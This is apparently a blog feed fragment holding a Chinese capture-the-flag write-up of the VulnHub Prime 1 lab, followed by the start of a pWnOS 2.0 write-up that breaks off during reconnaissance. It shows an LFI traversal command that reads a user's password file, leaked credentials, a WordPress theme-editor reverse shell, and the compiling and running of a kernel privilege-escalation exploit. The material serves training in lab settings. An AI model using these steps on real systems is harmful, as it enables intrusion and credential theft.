&lt;pre&gt;&lt;code&gt;PGh0bWw+Cjx0aXRsZT5IYWNrblBlbnRlc3Q8L3RpdGxlPgo8Ym9keT4KIDxpbWcgc3JjPSdoYWNrbnBlbnRlc3QucG5nJyBhbHQ9J2hucCBzZWN1cml0eScgd2lkdGg9IjEzMDAiIGhlaWdodD0iNTk1IiAvPjwvcD48L3A+PC9wPgo8L2JvZHk+Cjw/cGhwCiRzZWNyZXQgPSAkX0dFVFsnc2VjcmV0dGllcjM2MCddOwppZihpc3NldCgkc2VjcmV0KSkKCnsKIGVjaG8iZmluYWx5IHlvdSBnb3QgdGhlIHJpZ2h0IHBhcmFtZXRlciI7CiBlY2hvICI8YnI+PGJyPjxicj48YnI+IjsKIGluY2x1ZGUoIiRzZWNyZXQiKTsKCn0KCj8+CjwvaHRtbD4K
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;?php
$secret = $_GET[&apos;secrettier360&apos;];
if(isset($secret))

{
 echo&quot;finaly you got the right parameter&quot;;
 echo &quot;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&quot;;
 include(&quot;$secret&quot;);

}

?&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;看到 &lt;code&gt;include(&quot;$secret&quot;)&lt;/code&gt; 直接拼接用户输入，我开始想这个点除了本地包含，能不能进一步做远程文件包含（RFI）。但 RFI 需要服务端开启 &lt;code&gt;allow_url_include&lt;/code&gt; 之类的配置，把握不大，我没在这条路上继续耗，而是回头去看之前收集到的信息——想起来扫描时发现过一个 WordPress 站点，决定先从它入手。&lt;/p&gt;
&lt;p&gt;对 WordPress 简单测试后，对应版本没有可以直接拿 webshell 的已知 CMS 漏洞，弱口令也试不通。&lt;/p&gt;
&lt;p&gt;转念想到 WordPress 一般会把数据库密码写在 wp-config.php 里，正好可以用手上的 LFI 把它读出来：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260622195543614.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;define( &apos;DB_NAME&apos;, &apos;wordpress&apos; );

/** MySQL database username */
define( &apos;DB_USER&apos;, &apos;wordpress&apos; );

/** MySQL database password */
define( &apos;DB_PASSWORD&apos;, &apos;yourpasswordhere&apos; );

/** MySQL hostname */
define( &apos;DB_HOST&apos;, &apos;localhost&apos; );

/** Database Charset to use in creating database tables. */
define( &apos;DB_CHARSET&apos;, &apos;utf8mb4&apos; );

/** The Database Collate type. Don&apos;t change this if in doubt. */
define( &apos;DB_COLLATE&apos;, &apos;&apos; );
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;但这里的密码还是 &lt;code&gt;yourpasswordhere&lt;/code&gt; 这种占位默认值，没有实际价值，而且之前扫描时 3306 也没开，数据库这条路走不通。&lt;/p&gt;
&lt;p&gt;回过头重新看线索，最有指向性的还是 /etc/passwd 里 saket 那行注释——&quot;find password.txt file in my directory&quot;，等于直接告诉我去 saket 家目录下读 password.txt。继续用 LFI 读它：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/prime1/web]
└─$ curl http://192.168.200.128/image.php?secrettier360=../../../../../home/saket/password.txt 
&amp;lt;html&amp;gt;
&amp;lt;title&amp;gt;HacknPentest&amp;lt;/title&amp;gt;
&amp;lt;body&amp;gt;
 &amp;lt;img src=&apos;hacknpentest.png&apos; alt=&apos;hnp security&apos; width=&quot;1300&quot; height=&quot;595&quot; /&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/p&amp;gt;&amp;lt;/p&amp;gt;
&amp;lt;/body&amp;gt;
finaly you got the right parameter&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;&amp;lt;br&amp;gt;follow_the_ippsec
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;获取凭证：&lt;/h4&gt;
&lt;p&gt;follow_the_ippsec&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;2.权限立足&lt;/h1&gt;
&lt;h3&gt;2.1 凭证利用&lt;/h3&gt;
&lt;p&gt;拿到 &lt;code&gt;follow_the_ippsec&lt;/code&gt; 这个疑似密码后，手里能匹配的用户名有 saket 和 victor 两个（都来自 /etc/passwd），可以尝试的入口也有两个：SSH 和 WordPress 后台。&lt;/p&gt;
&lt;p&gt;先试了 SSH，saket、victor 两个用户配 &lt;code&gt;follow_the_ippsec&lt;/code&gt; 都登不上去。于是转向 WordPress 后台，用 victor 的凭证试：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;saket:follow_the_ippsec
victor:follow_the_ippsec        # wordpress
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;victor:follow_the_ippsec&lt;/code&gt; 成功登入 WordPress 后台：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260624184223779.png&quot; alt=&quot;603&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260624184238173.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;2.2 上传反弹 Shell&lt;/h3&gt;
&lt;p&gt;进了后台之后，目标是把它变成一个 webshell。WordPress 后台拿 shell 的经典思路是利用 Appearance → Theme Editor 直接编辑主题里的 php 文件，把反弹/命令执行代码写进去。这里找到一个可写的 php 文件 &lt;code&gt;secret.php&lt;/code&gt;，往里面插入了反弹 shell：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260623092050317.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;写进去之后的问题是不知道这个文件在服务器上对应的访问路径，没法触发它。在网上查了一下 WordPress 主题文件的存放规律：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260624184914654.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;主题文件路径形如 &lt;code&gt;/wp-content/themes/[当前启用的主题名]/xxx.php&lt;/code&gt;。当前主题是 twentynineteen，于是拼出完整 URL 去访问触发反弹 shell：&lt;/p&gt;
&lt;p&gt;&lt;code&gt;http://192.168.200.128/wordpress/wp-content/themes/twentynineteen/secret.php&lt;/code&gt;&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260623092005940.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;3.提权&lt;/h1&gt;
&lt;p&gt;拿到 www-data 的 shell 后，照常先做提权方向的信息收集，依次看了 sudo 权限、计划任务和内核版本。&lt;/p&gt;
&lt;h2&gt;3.1 信息收集&lt;/h2&gt;
&lt;h3&gt;sudo 权限&lt;/h3&gt;
&lt;p&gt;先看当前用户有没有可滥用的 sudo 配置：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@ubuntu:/var/www/html/wordpress$ sudo -l
Matching Defaults entries for www-data on ubuntu:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User www-data may run the following commands on ubuntu:
    (root) NOPASSWD: /home/saket/enc        # &amp;lt;-- 重点关注
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;www-data 可以免密以 root 身份运行 &lt;code&gt;/home/saket/enc&lt;/code&gt; 这个程序，先记下这条线索。顺手去 saket 家目录看看这个 &lt;code&gt;enc&lt;/code&gt; 和旁边有什么：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@ubuntu:/var/www/html$ cd /home/saket
www-data@ubuntu:/home/saket$ ls
enc  password.txt  user.txt
www-data@ubuntu:/home/saket$ cat user.txt
af3c658dcf9d7190da3153519c003456
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;顺便拿到了 user flag：&lt;code&gt;af3c658dcf9d7190da3153519c003456&lt;/code&gt;。&lt;/p&gt;
&lt;h3&gt;计划任务&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;www-data@ubuntu:/home$ cat /etc/crontab
# /etc/crontab: system-wide crontab
# Unlike any other crontab you don&apos;t have to run the `crontab&apos;
# command to install the new version when you edit this file
# and files in /etc/cron.d. These files also have username fields,
# that none of the other crontabs do.

SHELL=/bin/sh
PATH=/usr/local/sbin:/usr/local/bin:/sbin:/bin:/usr/sbin:/usr/bin

# m h dom mon dow user  command
17 *    * * *   root    cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.hourly
25 6    * * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.daily )
47 6    * * 7   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.weekly )
52 6    1 * *   root    test -x /usr/sbin/anacron || ( cd / &amp;amp;&amp;amp; run-parts --report /etc/cron.monthly )
@reboot                 bash /root/t.sh
#
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;crontab 里有一条 &lt;code&gt;@reboot bash /root/t.sh&lt;/code&gt;，root 在开机时会执行 &lt;code&gt;/root/t.sh&lt;/code&gt;。要靠它提权得能改写这个脚本，但它在 root 家目录下，当前 www-data 没有权限动它，这条路暂时搁置。&lt;/p&gt;
&lt;h3&gt;内核版本&lt;/h3&gt;
&lt;p&gt;sudo 那条 &lt;code&gt;/home/saket/enc&lt;/code&gt; 需要先逆向或猜出它要的密码，计划任务那条又改不动脚本，我当时没在这两条上继续耗，转而看内核版本碰碰运气：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@ubuntu:/tmp$ uname -a
Linux ubuntu 4.10.0-28-generic #32~16.04.2-Ubuntu SMP Thu Jul 20 10:19:48
www-data@ubuntu:/tmp$ cat /etc/os-release
NAME=&quot;Ubuntu&quot;
VERSION=&quot;16.04.3 LTS (Xenial Xerus)&quot;
ID=ubuntu
ID_LIKE=debian
PRETTY_NAME=&quot;Ubuntu 16.04.3 LTS&quot;
VERSION_ID=&quot;16.04&quot;
HOME_URL=&quot;http://www.ubuntu.com/&quot;
SUPPORT_URL=&quot;http://help.ubuntu.com/&quot;
BUG_REPORT_URL=&quot;http://bugs.launchpad.net/ubuntu/&quot;
VERSION_CODENAME=xenial
UBUNTU_CODENAME=xenial
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;内核 4.10.0-28、系统 Ubuntu 16.04.3，这个版本组合有不少现成的本地提权 EXP，值得一试。&lt;/p&gt;
&lt;h2&gt;3.2 内核提权&lt;/h2&gt;
&lt;p&gt;用 searchsploit 搜对应版本的本地提权 EXP：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/prime1]
└─$ searchsploit linux kernel 4.10 |grep -i &apos;Priv&apos;
Linux Kernel (Solaris 10 / &amp;lt; 5.10 138888-01) - Local Privilege Escalation                                                             | solaris/local/15962.c
Linux Kernel 2.4/2.6 (RedHat Linux 9 / Fedora Core 4 &amp;lt; 11 / Whitebox 4 / CentOS 4) - &apos;sock_sendpage()&apos; Ring0 Privilege Escalation (5) | linux/local/9479.c
Linux Kernel 2.6.19 &amp;lt; 5.9 - &apos;Netfilter Local Privilege Escalation                                                                     | linux/local/50135.c
Linux Kernel 3.13.0 &amp;lt; 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - &apos;overlayfs&apos; Local Privilege Escalation                                  | linux/local/37292.c
Linux Kernel 3.13.0 &amp;lt; 3.19 (Ubuntu 12.04/14.04/14.10/15.04) - &apos;overlayfs&apos; Local Privilege Escalation (Access /etc/shadow)             | linux/local/37293.txt
Linux Kernel 4.10 &amp;lt; 5.1.17 - &apos;PTRACE_TRACEME&apos; pkexec Local Privilege Escalation                                                       | linux/local/47163.c
Linux Kernel 4.8.0 UDEV &amp;lt; 232 - Local Privilege Escalation                                                                            | linux/local/41886.c
Linux kernel &amp;lt; 4.10.15 - Race Condition Privilege Escalation                                                                          | linux/local/43345.c
Linux Kernel &amp;lt; 4.11.8 - &apos;mq_notify: double sock_put()&apos; Local Privilege Escalation                                                     | linux/local/45553.c
Linux Kernel &amp;lt; 4.13.9 (Ubuntu 16.04 / Fedora 27) - Local Privilege Escalation                                                         | linux/local/45010.c   # &amp;lt;-- 重点关注
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;候选里 &lt;code&gt;45010.c&lt;/code&gt;（Linux Kernel &amp;lt; 4.13.9）明确标注适用 Ubuntu 16.04，跟目标的内核版本和系统版本都对得上，优先选它。把它下载下来，传到目标 &lt;code&gt;/tmp&lt;/code&gt; 目录后编译：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@ubuntu:/tmp$ gcc 45010.c -o 45010
www-data@ubuntu:/tmp$ ls
41886.c
45010
45010.c
VMwareDnD
a.out
systemd-private-ac1d6181c4f44cc1a58945185b3f5789-colord.service-qFLfFP
systemd-private-ac1d6181c4f44cc1a58945185b3f5789-rtkit-daemon.service-pwcvsB
systemd-private-ac1d6181c4f44cc1a58945185b3f5789-systemd-timesyncd.service-SSKui0
vmware-root
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;赋予执行权限后运行：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;www-data@ubuntu:/tmp$ chmod +x 45010
www-data@ubuntu:/tmp$ ls -l
total 72
-rw-r--r-- 1 www-data www-data  2368 Jun 22 18:34 41886.c
-rwxr-xr-x 1 www-data www-data 18432 Jun 22 19:22 45010
-rw-r--r-- 1 www-data www-data 13176 Jun 22 18:45 45010.c
drwxrwxrwt 2 root     root      4096 Jun 17 04:48 VMwareDnD
-rwxr-xr-x 1 www-data www-data  8920 Jun 22 18:34 a.out
drwx------ 3 root     root      4096 Jun 17 04:49 systemd-private-ac1d6181c4f44cc1a58945185b3f5789-colord.service-qFLfFP
drwx------ 3 root     root      4096 Jun 17 04:49 systemd-private-ac1d6181c4f44cc1a58945185b3f5789-rtkit-daemon.service-pwcvsB
drwx------ 3 root     root      4096 Jun 17 04:48 systemd-private-ac1d6181c4f44cc1a58945185b3f5789-systemd-timesyncd.service-SSKui0
drwx------ 2 root     root      4096 Jun 17 04:48 vmware-root
www-data@ubuntu:/tmp$ ./45010
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260625094333965.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;EXP 执行成功，拿到 root 权限。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/Prime1/image-20260625094445222.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;4.总结&lt;/h1&gt;
&lt;p&gt;这次打靶我靠自己找到了 LFI 这个漏洞，感觉非常开心。刚开始我没找到思路，并被这台靶机困难的标签给吓到了，但是我没放弃，在将靶机搁置一段时间后，重新分析之前收集到的信息，找到了突破点。&lt;/p&gt;
&lt;p&gt;说一下这台靶机的攻击链，通过层层解谜，分析信息，得到新的利用点，找到了存在 LFI 漏洞的参数。分析 /etc/passwd 文件，得到了后续的提示，获得了一个凭证。拿到这个凭证，成功登入了 WordPress，在 WordPress 中学到一些常见的 WordPress 权限立足方案。如 Appearance 和 Plugins 都可能存在突破口，最终在 Appearance 中找到了可以编辑的 PHP 文件，我往里添加了反弹 Shell，成功获取主机 Webshell。&lt;/p&gt;
&lt;p&gt;到了提权阶段，这次提权比较简单，直接通过内核提权 EXP 直接拿下 root 权限。但是在这个过程中我还是有些疑惑，该怎么去分析什么时候使用内核提权，是积累经验吗？这个内核版本存在可以稳定复现的内核提权漏洞，并且有 gcc 吧。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;5.补充&lt;/h1&gt;
&lt;h2&gt;5.1 FUZZ 参数详解&lt;/h2&gt;
&lt;p&gt;下面这段信息是通过 fuzz 爆破 GET 参数的积累，但是在这个过程中我遇到了如何过滤的问题，对这个问题我进行了一些搜索和总结。&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;┌──(kali㉿kali)-[~/vulnhub/prime1/web]
└─$ wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 500 http://192.168.200.128/index.php?FUZZ=something
/usr/lib/python3/dist-packages/wfuzz/__init__.py:34: UserWarning: Pycurl is not compiled against Openssl. Wfuzz might not work correctly when fuzzing SSL sites. Check Wfuzz&apos;s documentation for more information.

********************************************************
* Wfuzz 3.1.0 - The Web Fuzzer                         *
********************************************************

Target: http://192.168.200.128/index.php?FUZZ=something
Total requests: 951

==================================================================
ID           Response   Lines    Word     Chars       Payload
==================================================================

000000001:   200        7 L      12 W     136 Ch      &quot;@&quot;
000000042:   200        7 L      12 W     136 Ch      &quot;administrator&quot;
000000050:   200        7 L      12 W     136 Ch      &quot;agent&quot;
...
000000325:   200        7 L      12 W     136 Ch      &quot;exchange&quot;
000000341:   200        7 L      19 W     206 Ch      &quot;file&quot;
000000343:   200        7 L      12 W     136 Ch      &quot;filter&quot;
&lt;/code&gt;&lt;/pre&gt;
&lt;hr /&gt;
&lt;h3&gt;Lines / Word / Chars 是什么&lt;/h3&gt;
&lt;p&gt;这三个值统计的是服务器返回的 HTTP 响应体（页面内容），不是请求，也不是响应头：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Lines (L)&lt;/strong&gt;：响应内容按换行符 &lt;code&gt;\n&lt;/code&gt; 分割后的行数&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Word (W)&lt;/strong&gt;：响应内容按空白字符（空格/换行/Tab）分割后的单词数，类似 Linux &lt;code&gt;wc -w&lt;/code&gt; 的算法&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Chars (Ch)&lt;/strong&gt;：响应内容的总字符数（字节数），类似 &lt;code&gt;wc -c&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;wfuzz 拿到 HTTP 响应后，把 body 内容丢给类似 &lt;code&gt;wc&lt;/code&gt; 的统计逻辑，分别算出这三个数字显示在结果里，方便用 &lt;code&gt;--hl / --hw / --hh&lt;/code&gt; 做过滤。&lt;/p&gt;
&lt;h3&gt;怎么验证/计算&lt;/h3&gt;
&lt;p&gt;可以直接用 curl 实测，比如对 &quot;exchange&quot; 这个参数值发请求，把返回内容用 &lt;code&gt;wc&lt;/code&gt; 验证：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;curl -s &quot;http://192.168.200.128/index.php?FUZZ=exchange&quot; | wc -lwc
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;code&gt;wc&lt;/code&gt; 的输出顺序是「行数 单词数 字符数」，应该正好对应 wfuzz 显示的 7 L / 12 W / 136 Ch。&lt;/p&gt;
&lt;h3&gt;这次该怎么筛选&lt;/h3&gt;
&lt;p&gt;已经&quot;目测&quot;出来了规律：&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;大部分无效参数返回的都是 7 L / 12 W / 136 Ch（说明 index.php 对无效参数走了同一个&quot;默认/报错&quot;分支，内容长度都一样）&lt;/li&gt;
&lt;li&gt;只有 &lt;code&gt;&quot;file&quot;&lt;/code&gt; 这一条是 7 L / 19 W / 206 Ch，明显跟其他的不一样&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;所以筛选思路就是：把那个&quot;大多数、重复出现&quot;的噪音值过滤掉，剩下的就是真正命中的参数。&lt;/p&gt;
&lt;p&gt;直接在原命令上加 &lt;code&gt;--hw 12&lt;/code&gt;（隐藏字数为 12 的响应）：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hw 12 http://192.168.200.128/index.php?FUZZ=something
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;或者用字符数过滤，效果一样：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;wfuzz -c -w /usr/share/wfuzz/wordlist/general/common.txt --hc 404 --hh 136 http://192.168.200.128/index.php?FUZZ=something
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;跑完之后，输出列表里就只剩下 &lt;code&gt;&quot;file&quot;&lt;/code&gt; 这一条（以及可能少数几个特殊的），说明 &lt;code&gt;index.php?file=xxx&lt;/code&gt; 是这个网页真正接受的有效参数，很可能藏着文件包含（LFI）之类的漏洞，可以接着往下打。&lt;/p&gt;
&lt;hr /&gt;
&lt;h1&gt;6.参考链接&lt;/h1&gt;
&lt;ul&gt;
&lt;li&gt;https://medium.com/@inotp/vulnhub-prime-1-walkthrough-ad521a1ac255&lt;/li&gt;
&lt;li&gt;https://www.bilibili.com/video/BV1yP41177h7/?spm_id_from=333.1387.favlist.content.click&lt;/li&gt;
&lt;/ul&gt;
</content:encoded></item><item><title>Vulnhub pWnOS 2.0 WriteUp</title><link>https://blog.owenwoow.com/posts/2026/05/28/pwnos_20/</link><guid isPermaLink="true">https://blog.owenwoow.com/posts/2026/05/28/pwnos_20/</guid><description>pWnOS: 2.0 是一台托管在 Vulnhub 上的 Linux 靶机，IP 静态设置为 10.10.10.100，需要将攻击机配置在同一 10.10.10.0/24 网段内。</description><pubDate>Thu, 28 May 2026 00:00:00 GMT</pubDate><content:encoded>&lt;h1&gt;前言&lt;/h1&gt;
&lt;h3&gt;靶场介绍&lt;/h3&gt;
&lt;p&gt;pWnOS: 2.0 是一台托管在 VulnHub 上的 Linux 靶机，IP 静态设置为 10.10.10.100，需要将攻击机配置在同一 10.10.10.0/24 网段内。&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;涉及知识点：&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Web 目录枚举与假站识别&lt;/li&gt;
&lt;li&gt;CMS 指纹识别（Simple PHP Blog 0.4.0）&lt;/li&gt;
&lt;li&gt;公开 EXP 利用（任意文件上传 + 密码修改）&lt;/li&gt;
&lt;li&gt;反弹 Shell 获取 Web 权限&lt;/li&gt;
&lt;li&gt;配置文件凭证泄露&lt;/li&gt;
&lt;li&gt;SSH 直登 root 提权&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;靶场信息：&lt;/strong&gt;&lt;/p&gt;
&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;字段&lt;/th&gt;
&lt;th&gt;值&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;靶机名&lt;/td&gt;
&lt;td&gt;pWnOS: 2.0&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 IP&lt;/td&gt;
&lt;td&gt;10.10.10.100&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;靶机 URL&lt;/td&gt;
&lt;td&gt;https://www.vulnhub.com/entry/pwnos-20-pre-release,34/&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;下载（镜像）&lt;/td&gt;
&lt;td&gt;https://download.vulnhub.com/pwnos/pWnOS_v2.0.7z&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;
&lt;p&gt;&lt;strong&gt;环境配置说明&lt;/strong&gt;&lt;/p&gt;
&lt;p&gt;操作：打开虚拟网络编辑器，修改 VMnet8（NAT 网卡）为 10.10.10.0 网段，网关 10.10.10.15。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527132537647.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;点击 NAT 设置修改网关地址：&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527132556907.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;涉及工具&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Nmap&lt;/li&gt;
&lt;li&gt;dirsearch&lt;/li&gt;
&lt;li&gt;searchsploit&lt;/li&gt;
&lt;li&gt;perl（运行 EXP 1191.pl）&lt;/li&gt;
&lt;/ul&gt;
&lt;hr /&gt;
&lt;h1&gt;1. 信息收集&lt;/h1&gt;
&lt;h2&gt;1.1 Nmap 信息扫描&lt;/h2&gt;
&lt;h3&gt;端口扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -p- --min-rate 10000 10.10.10.100 -oA port
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527132911194.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;详细信息&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;nmap -sT -sV -sC -O -p22,80 10.10.10.100 -oA detail
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527133004565.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;漏洞扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;sudo nmap --script=vuln -p22,80 10.10.10.100 -oA vuln
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527133330619.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;hr /&gt;
&lt;h2&gt;1.2 Web 探测&lt;/h2&gt;
&lt;h3&gt;主页访问&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;curl http://10.10.10.100
&lt;/code&gt;&lt;/pre&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;!DOCTYPE html PUBLIC &quot;-//W3C//DTD XHTML 1.0 Transitional//EN&quot;
        &quot;http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd&quot;&amp;gt;
&amp;lt;html xmlns=&quot;http://www.w3.org/1999/xhtml&quot; xml:lang=&quot;en&quot; lang=&quot;en&quot;&amp;gt;
&amp;lt;head&amp;gt;
        &amp;lt;meta http-equiv=&quot;content-type&quot; content=&quot;text/html; charset=iso-8859-1&quot; /&amp;gt;
        &amp;lt;title&amp;gt;Welcome to this Site!&amp;lt;/title&amp;gt;
&amp;lt;style type=&quot;text/css&quot; media=&quot;screen&quot;&amp;gt;@import &quot;includes/layout.css&quot;;&amp;lt;/style&amp;gt;
&amp;lt;/head&amp;gt;
&amp;lt;body&amp;gt;
&amp;lt;div id=&quot;Header&quot;&amp;gt;IsIntS&amp;lt;/div&amp;gt;
&amp;lt;div id=&quot;Content&quot;&amp;gt;
&amp;lt;h1&amp;gt;Welcome&amp;lt;/h1&amp;gt;&amp;lt;p&amp;gt;Welcome to my IsIntS Internal Website.&amp;lt;/p&amp;gt;
&amp;lt;p&amp;gt;If you have any questions email me at admin@isints.com&amp;lt;/p&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;div id=&quot;Menu&quot;&amp;gt;
&amp;lt;a href=&quot;index.php&quot; title=&quot;Home Page&quot;&amp;gt;Home&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;a href=&quot;register.php&quot; title=&quot;Register for the Site&quot;&amp;gt;Register&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;a href=&quot;login.php&quot; title=&quot;Login&quot;&amp;gt;Login&amp;lt;/a&amp;gt;&amp;lt;br /&amp;gt;
&amp;lt;/div&amp;gt;
&amp;lt;/body&amp;gt;
&amp;lt;/html&amp;gt;
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527133750047.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;login 登录界面弱密码 + 万能密钥尝试，万能密钥登入显示 &lt;code&gt;Logging in...&lt;/code&gt;，不知道是不是卡住了，有可能是一个假的网站。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527133843457.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;目录扫描&lt;/h3&gt;
&lt;pre&gt;&lt;code&gt;dirsearch -u &apos;http://10.10.10.100/&apos; -o dirs.txt
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527134136370.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;p&gt;有效结果——之前的猜测是正确的，前面的页面是一个假的网站，真实的网站应该是在 &lt;code&gt;/blog&lt;/code&gt;：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;[01:39:19] 302 -   20B  - /activate  -&amp;gt;  http://10.10.10.100/index.php
[01:39:23] 301 -  242B  - /blog  -&amp;gt;  http://10.10.10.100/blog/   # &amp;lt;-- 真实站点
[01:39:23] 200 -    2KB - /blog/
[01:39:24] 403 -  236B  - /cgi-bin/
[01:39:28] 200 -    9KB - /info.php
[01:39:29] 200 -  629B  - /login.php
[01:39:33] 200 -  723B  - /register.php
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;访问 &lt;code&gt;http://10.10.10.100/blog/index.php&lt;/code&gt;，觉得这应该是一个 CMS 漏洞利用的方向。&lt;/p&gt;
&lt;p&gt;&lt;img src=&quot;./img/pWnOS_20/image-20260527134226700.png&quot; alt=&quot;&quot; /&gt;&lt;/p&gt;
&lt;h3&gt;CMS 指纹识别&lt;/h3&gt;
&lt;p&gt;打开网页源码，找到如下 meta 标签：&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&amp;lt;meta name=&quot;generator&quot; content=&quot;Simple PHP Blog 0.4.0&quot; /&amp;gt;   &amp;lt;!-- &amp;lt;-- CMS 版本指纹 --&amp;gt;
